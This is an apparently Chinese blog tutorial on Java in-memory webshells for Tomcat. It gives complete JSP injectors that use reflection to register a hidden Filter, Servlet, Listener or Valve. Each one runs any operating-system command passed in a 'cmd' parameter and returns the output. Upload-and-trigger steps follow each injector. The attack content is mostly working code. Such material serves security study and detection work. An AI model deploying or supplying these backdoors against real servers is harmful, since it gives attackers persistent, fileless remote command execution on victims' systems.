java内存马

java内存马

idea 2024.1.2专业版
jdk1.8.0_181
tomcat 8.5.82

默认有java基础,Javassist,Jsp,JavaEE都会一点

更新ing

0. 一些基础

tomcat包括五大容器和一个连接器,五大容器是Service、Engine、Host、Context、Wrapper,连接器是Connector。

tomcat中的三种context

ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。

在这里插入图片描述

1. filter型内存马

filter型内存马在运行时动态注册一个恶意的Filter,从而拦截并处理所有符合URL模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制。

filter接口主要定义了以下三种方法:

  • init(FilterConfig config): Filter初始化时调用一般位于tomcat服务器开始部署的时候。
  • doFilter(ServletRequest request, ServletResponse response, FilterChain chain): 核心方法,用于处理请求并执行过滤逻辑。内存马的核心代码部分在这里执行。
  • destroy(): Filter销毁时调用,释放资源。

Filter内存马的核心思想是利用Java的反射机制,在运行时动态注册一个恶意的Filter,从而拦截并处理所有符合URL模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制。

在这里插入图片描述

pom.xml添加

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.55</version>
</dependency>

webapp目录下filter.jsp

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    // 注入流程: ServletContext -> ApplicationContext -> StandardContext -> filterConfigs -> 注册 Filter

    final String name = "filter"; // Filter 的名称

    // 1. 获取 ServletContext
    ServletContext servletContext = request.getServletContext();

    // 2. 通过反射获取 ApplicationContext
    // 反射获取 ServletContext 中的 private 字段 "context" (其类型为 ApplicationContext)
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true); // 设置字段可访问
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); // 获取字段值

    // 3. 通过反射获取 StandardContext
    // 反射获取 ApplicationContext 中的 private 字段 "context" (其类型为 StandardContext)
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true); // 设置字段可访问
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 获取字段值

    // 4. 通过反射获取 filterConfigs (存储已注册 Filter 的 Map)
    // 反射获取 StandardContext 中的 private 字段 "filterConfigs"
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true); // 设置字段可访问
    Map filterConfigs = (Map) Configs.get(standardContext); // 获取字段值

    // 5. 检查是否已存在同名 Filter
    if (filterConfigs.get(name) == null) {
        // 6. 创建恶意的 Filter 实例
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                // Filter 初始化方法 (此处为空)
            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                // Filter 的核心处理方法
                HttpServletRequest lrequest = (HttpServletRequest) servletRequest;
                HttpServletResponse lresponse = (HttpServletResponse) servletResponse;
                lresponse.setContentType("text/html; charset=UTF-8");
                lresponse.setCharacterEncoding("UTF-8");
                // 如果请求参数中包含 "cmd",则执行命令
                if (lrequest.getParameter("cmd") != null) {
                    Process process = Runtime.getRuntime().exec(lrequest.getParameter("cmd")); // 执行系统命令
                    // 读取命令执行结果
                    java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                            new java.io.InputStreamReader(process.getInputStream()));
                    //InputStreamReader 是一个桥接器,它将字节流转换为字符流。
                    //BufferedReader 是一个用于读取文本(字符)输入流(如文件或网络连接)并缓冲字符以提供字符、数组和行的高效读取的类。
                    StringBuilder stringBuilder = new StringBuilder();
                    String line;
                    while ((line = bufferedReader.readLine()) != null) {
                        stringBuilder.append(line + '\n');
                    }
                    // 将命令执行结果写入响应
                    lresponse.getOutputStream().write(stringBuilder.toString().getBytes());
                    lresponse.getOutputStream().flush();
                    lresponse.getOutputStream().close();
                    return; // 阻止请求继续传递
                }
                filterChain.doFilter(servletRequest, servletResponse); // 放行不符合条件的请求
            }

            @Override
            public void destroy() {
                // Filter 销毁方法
            }
        };

        // 7. 创建 FilterDef (Filter 定义)
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter); // 设置 Filter 实例
        filterDef.setFilterName(name); // 设置 Filter 名称
        filterDef.setFilterClass(filter.getClass().getName()); // 设置 Filter 类名
        standardContext.addFilterDef(filterDef); // 将 FilterDef 添加到 StandardContext

        // 8. 创建 FilterMap (Filter 映射)
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/filter"); // 设置 Filter 映射的 URL 模式
        filterMap.setFilterName(name); // 设置 Filter 名称
        filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 设置触发类型为 REQUEST
        standardContext.addFilterMapBefore(filterMap); // 将 FilterMap 添加到 StandardContext (添加到其他 FilterMap 之前)

        // 9. 创建 ApplicationFilterConfig (Filter 配置)
        // 反射获取 ApplicationFilterConfig 的构造方法 (参数为 Context 和 FilterDef)
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true); // 设置构造方法可访问
        // 通过反射创建 ApplicationFilterConfig 实例
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

        // 10. 将 FilterConfig 添加到 filterConfigs 中,完成 Filter 注册
        filterConfigs.put(name, filterConfig);
    }
%>

上传该jsp文件到webapp目录然后浏览器访问filter.jsp文件触发代码,内存马注入成功之后就可以通过路由/filter?cmd执行命令。

在这里插入图片描述

主要的一些关键步骤:

  1. 首先获取ServletContext: 通过当前请求对象(request)或其他方式获取ServletContext,request对象的获取可以在jsp文件和filter,servlet,listen。ServletContext是Web应用,ServletContext 对象代表整个 Web 应用本身,提供访问应用资源、配置信息、服务器信息、管理全局属性、日志记录、请求转发以及动态注册组件(Servlet、Filter、Listener)等核心功能,是 Web 应用开发的关键对象,也是内存马注入的目标。
  2. 然后通过反射获取StandardContext: 通过反射获取ServletContext中的context字段,该字段类型为ApplicationContext。再通过反射获取ApplicationContext中的context字段,该字段类型为StandardContext,StandardContext是Tomcat中管理Web应用的核心组件。
  3. 最后动态注册Filter:
    • 通过反射获取StandardContext中的filterConfigs字段,该字段是一个Map,存储了所有已注册的Filter配置。
    • 创建恶意的Filter对象,该对象实现了Filter接口,并在doFilter方法中实现恶意逻辑,例如执行命令、上传文件、反弹Shell等。
    • 创建FilterDef对象,设置Filter的名称、类名等信息。
    • 创建FilterMap对象,设置Filter拦截的URL模式。
    • 通过反射创建ApplicationFilterConfig对象,将StandardContext和FilterDef作为参数传入。
    • 将Filter的名称和ApplicationFilterConfig对象添加到filterConfigs中。

2. Servlet型内存马

Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。

Servlet 接口定义了以下三个主要的方法:

  • init(ServletConfig config): Servlet 初始化时调用,正常情况下用于读取配置信息和初始化资源。每个 Servlet 实例只会被初始化一次。
  • service(ServletRequest req, ServletResponse res): Servlet 处理请求的核心方法。对于 HTTP 请求,通常会调用 HttpServlet 的 doGet、doPost 等方法。
  • destroy(): Servlet 销毁时调用,用于释放资源。每个 Servlet 实例只会被销毁一次。

如果写成java类的话得在web.xml里加

<servlet>
    <servlet-name>evilServlet</servlet-name>
    <servlet-class>com.example.filtershell.EvilServlet</servlet-class>
    <!-- 设置启动顺序 -->
    <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>evilServlet</servlet-name>
    <url-pattern>/evil</url-pattern>
</servlet-mapping>

下面用jsp实现

servlet.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>

<%
    // 定义恶意Servlet类
    class EvilServlet extends HttpServlet {
        @Override
        public void doGet(HttpServletRequest request, HttpServletResponse response)
                throws ServletException, IOException {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Process process = Runtime.getRuntime().exec(cmd);
                    BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
                    //InputStreamReader 是一个桥接器,它将字节流转换为字符流。
                    //BufferedReader 是一个用于读取文本(字符)输入流(如文件或网络连接)并缓冲字符以提供字符、数组和行的高效读取的类。
                    StringBuilder sb = new StringBuilder();
                    String line;
                    while ((line = br.readLine()) != null) {
                        sb.append(line).append("\n");
                    }
                    response.setContentType("text/html; charset=UTF-8");
                    response.setCharacterEncoding("UTF-8");
                    response.getWriter().write(sb.toString());
                    //response.getWriter() 来获取一个可以向客户端发送字符文本的 PrintWriter 对象。

                } catch (Exception e) {
                    response.setContentType("text/html; charset=UTF-8");
                    response.setCharacterEncoding("UTF-8");
                    response.getWriter().write(e.toString());
                    
                }
            }
        }

        @Override
        public void doPost(HttpServletRequest request, HttpServletResponse response)
                throws ServletException, IOException {
            doGet(request, response);
        }
    }

    // 注入流程
    final String servletName = "evilServlet";
    final String urlPattern = "/evil";

    // 1. 获取 StandardContext
    //servletContext->ApplicationContext->StandardContext
    ServletContext servletContext = request.getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
    //获取context字段在applicationContext对象上的当前值

    // 2. 检查 Servlet 是否已存在,防止重复注入
    if (standardContext.findChild(servletName) == null) {
        // 3. 创建 Wrapper
        Wrapper wrapper = standardContext.createWrapper();
        wrapper.setName(servletName);
        wrapper.setServletClass(EvilServlet.class.getName());
        wrapper.setServlet(new EvilServlet());
        wrapper.setLoadOnStartup(1);

        // 4. 添加 Servlet 配置
        standardContext.addChild(wrapper);
        standardContext.addServletMappingDecoded(urlPattern, servletName);

        out.println("Servlet 注入成功!");
        out.println("访问路径: " + urlPattern);
        out.println("支持参数: cmd");
    } else {
        out.println("Servlet 已存在!");
    }
%>

上传该jsp文件到webapp目录然后浏览器访问servlet.jsp文件触发代码,内存马注入成功之后就可以通过路由/evil?cmd执行命令。

在这里插入图片描述

在这里插入图片描述

主要的一些关键步骤:

  1. 恶意 EvilServlet 类: 继承自 HttpServlet,重写了 doGet 和 doPost 方法。如果请求参数中包含 cmd,则将其作为系统命令执行,并将结果返回给客户端。

  2. 注入流程:

    • 获取 StandardContext: 与 Filter 型内存马类似,通过 ServletContext 和反射机制获取 StandardContext。

    • 检查 Servlet 是否已存在: 通过 standardContext.findChild(servletName) 检查是否已存在同名的 Servlet,避免重复注入。

    • 创建 Wrapper:

      使用 standardContext.createWrapper() 创建一个 Wrapper 对象。

      • wrapper.setName(servletName): 设置 Servlet 名称。
      • wrapper.setServletClass(EvilServlet.class.getName()): 设置 Servlet 类名。
      • wrapper.setServlet(new EvilServlet()): 设置 Servlet 实例,也可以选择不进行设置。
      • wrapper.setLoadOnStartup(1): 设置 Servlet 的启动优先级,1 表示在 Web 应用启动时加载该 Servlet。
    • 添加 Servlet 配置:

      • standardContext.addChild(wrapper): 将 Wrapper 添加到 StandardContext 中。
      • standardContext.addServletMappingDecoded(urlPattern, servletName): 添加 URL 映射,将 /evil 映射到 evilServlet。

3. listener型内存马

listener型内存马在运行时动态注册一个恶意的 Listener。当 Web 应用程序的生命周期事件或属性变更事件发生时,这个恶意的 Listener 就会执行预先设定的恶意代码。

Listener (监听器) 是 Java Servlet 规范中定义的一种特殊组件,用于监听 Web 应用程序中的特定事件,并在事件发生时执行相应的操作。监听器可以用来监听多种类型的事件,例如:

  • 应用程序生命周期事件: 与 ServletContext(应用程序)的初始化和销毁相关的事件。

  • 会话生命周期事件: 与用户会话的创建、修改和失效相关的事件。

  • 请求生命周期事件: 与 HTTP 请求的处理相关的事件。

  • 属性变更: 与 ServletContext、会话或请求对象中属性的添加、删除或替换相关的事件。

  • **requestInitialized(ServletRequestEvent sre):**此方法在每个 HTTP 请求开始时触发,如果 cmd 参数存在,它将 cmd 的值作为系统命令执行(使用 Runtime.getRuntime().exec())。

  • **requestDestroyed(ServletRequestEvent sre):**此方法在每个 HTTP 请求结束时调用。

与filter和servlet内存马区别:

主要区别在于触发方式。Filter 和 Servlet 型内存马通常需要通过特定的 URL 请求来触发,而 Listener 型内存马则是在特定事件发生时自动触发。

listener一般在web.xml这样配置,但这里不必配置

<listener>
  <listener-class>com.example.MyServletContextListener</listener-class>
</listener>

使用jsp写

listener.jsp

ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener接口的requestInitialized()方法。

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.util.logging.Logger" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.*" %>

<%
    // 定义恶意Listener
    class EvilListener implements ServletRequestListener {
        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            // 每次请求初始化的时候处理
            Logger logger = Logger.getLogger(EvilListener.class.getName());
            logger.info("start of listen");

            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    InputStream in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",request.getParameter("cmd")}).getInputStream();
                    BufferedReader br = new BufferedReader(new InputStreamReader(in));
                    //InputStreamReader 是一个桥接器,它将字节流转换为字符流。
                    //BufferedReader 是一个用于读取文本(字符)输入流(如文件或网络连接)并缓冲字符以提供字符、数组和行的高效读取的类。
                    StringBuilder sb = new StringBuilder();
                    String line;
                    while ((line = br.readLine()) != null) {
                        sb.append(line).append("\n");
                    }
                    Field requestF = request.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request req = (Request)requestF.get(request);
                    req.getResponse().setContentType("text/plain; charset=UTF-8");
                    req.getResponse().setCharacterEncoding("UTF-8");
                    req.getResponse().getWriter().write(sb.toString());
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }

        @Override
        public void requestDestroyed(ServletRequestEvent sre){
            // 每次请求结束时的处理
            Logger logger = Logger.getLogger(EvilListener.class.getName());
            logger.info("ends of listen");

        }
    }

    // 注入流程
    // 1. 获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    // 2. 创建并添加Listener
    ServletRequestListener evilListener = new EvilListener();
    standardContext.addApplicationEventListener(evilListener);

    out.println("Listener注入成功!");
%>

上传listener.jsp后浏览器访问listener.jsp触发代码,之后就可访问任意路由传参cmd执行命令。

在这里插入图片描述

注入过程中的关键步骤:

  1. 获取 StandardContext:
    • 从当前请求中获取 ServletContext 对象。
    • 使用反射访问 ServletContext 中的 context 字段(该字段的类型为 ApplicationContext)。
    • 再次使用反射访问 ApplicationContext 中的 context 字段(此时该字段的类型为 StandardContext)。StandardContext 是 Tomcat 内部对 Web 应用程序的表示。
  2. 创建并注册恶意 Listener:
    • 创建 EvilListener 类的实例。
    • 使用 StandardContext 对象的 addApplicationEventListener() 方法注册恶意 Listener。这会将 Listener 添加到 Web 应用程序的事件处理流程中。

4. Tomcat特有的Valve内存马

1. valve基础

Valve (阀门) 是 Tomcat 特有的一种组件,是 Tomcat 的 Pipeline-Valve 架构中的组件,类似 Filter,但工作在更底层,存在于 Tomcat 的 Pipeline-Valve 架构中。Valve 可以拦截和处理进入 Tomcat 容器的 HTTP 请求,并在请求处理完成后对响应进行处理。

Pipeline-Valve 架构:

Tomcat 的请求处理流程是通过 Pipeline-Valve 架构实现的。每个容器(Engine, Host, Context, Wrapper)都有自己的 Pipeline,Pipeline 中包含一系列 Valve,维护着先进先出的队列。

  • First Valve (首阀门): 管道中的第一个 Valve,通常用于执行一些全局性的预处理操作。
  • Intermediate Valve (中间阀门): 可以有多个,按顺序执行,用于实现各种业务逻辑。
  • Basic Valve (基础阀门): 管道的最后一个 Valve,每个 Pipeline 必须有且只有一个。它负责调用 Servlet 或下一个容器的 Pipeline。

Valve 的关键方法:

  • invoke(Request request, Response response): 此方法在每个 HTTP 请求到达 Valve 时触发。Valve 可以在此方法中对请求进行处理,并决定是否将请求传递给下一个 Valve 或 Servlet。如果 cmd 参数存在,它可以将 cmd 的值作为系统命令执行 (使用 Runtime.getRuntime().exec())。getNext().invoke(request, response) 将请求传递到下一个 Valve。

在这里插入图片描述

2. valve内存马

Valve 型内存马 工作在 Tomcat 的底层请求处理流程中,不需要配置 URL 映射,可以在请求到达 Servlet 之前或之后触发,甚至可以拦截所有请求, 比 filter 更早拦截。

valve.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.List" %>
<%@ page import="org.apache.catalina.Pipeline" %>

<%!
    class EvilValve extends ValveBase {
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd != null && !cmd.isEmpty()) {
                try {
                    Process p = Runtime.getRuntime().exec(cmd);
                    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
                    StringBuilder sb = new StringBuilder();
                    String line;
                    while ((line = br.readLine()) != null) {
                        sb.append(line).append("\n");
                    }
                    response.setContentType("text/plain; charset=UTF-8");
                    response.setCharacterEncoding("UTF-8");
                    response.getWriter().write(sb.toString());
                    response.setStatus(HttpServletResponse.SC_OK);
                    response.getWriter().flush();
                    response.getWriter().close();
                    return;
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            getNext().invoke(request, response);
        }

    }

%>
<%
    try {
        // 1. 反射获取 StandardContext
        Field requestField = request.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        Request req = (Request) requestField.get(request);
        StandardContext standardContext = (StandardContext) req.getContext();

        // 2. 获取 Pipeline
        Pipeline pipeline = standardContext.getPipeline();

        // 3. 创建并添加 Valve
        pipeline.addValve(new EvilValve());

        out.println("Valve 注入成功!");
    } catch (Exception e) {
        e.printStackTrace(response.getWriter());

    }
%>

上传 valve.jsp 访问 valve.jsp 触发代码,之后就可访问任意路由传参 cmd 执行命令。

在这里插入图片描述

注入过程中的关键步骤:

  1. 获取 StandardContext:
    • 从当前请求对象 request 中通过反射获取 request 属性,它的类型是 org.apache.catalina.connector.Request。
    • 通过 req.getContext() 获取 StandardContext 对象。
  2. 获取 Pipeline:
    • 通过 standardContext.getPipeline() 获取 Pipeline 对象。
  3. 创建并注册恶意 Valve:
    • 创建 EvilValve 类的实例。
    • 使用 Pipeline 对象的 addValve() 方法注册恶意 Valve。这会将 Valve 添加到 Web 应用程序的 Valve 处理流程中。

5. Spring内存马

施工中ing

Java Agent看下一篇

还是挺复杂的

参考

Java内存马深入分析 Yu4xr安全

Java安全学习——内存马 枫のBlog

从零学习Agent内存马 小菜鸡学web

Java Web安全 百安科技

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cllsse

富✌您吉祥

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值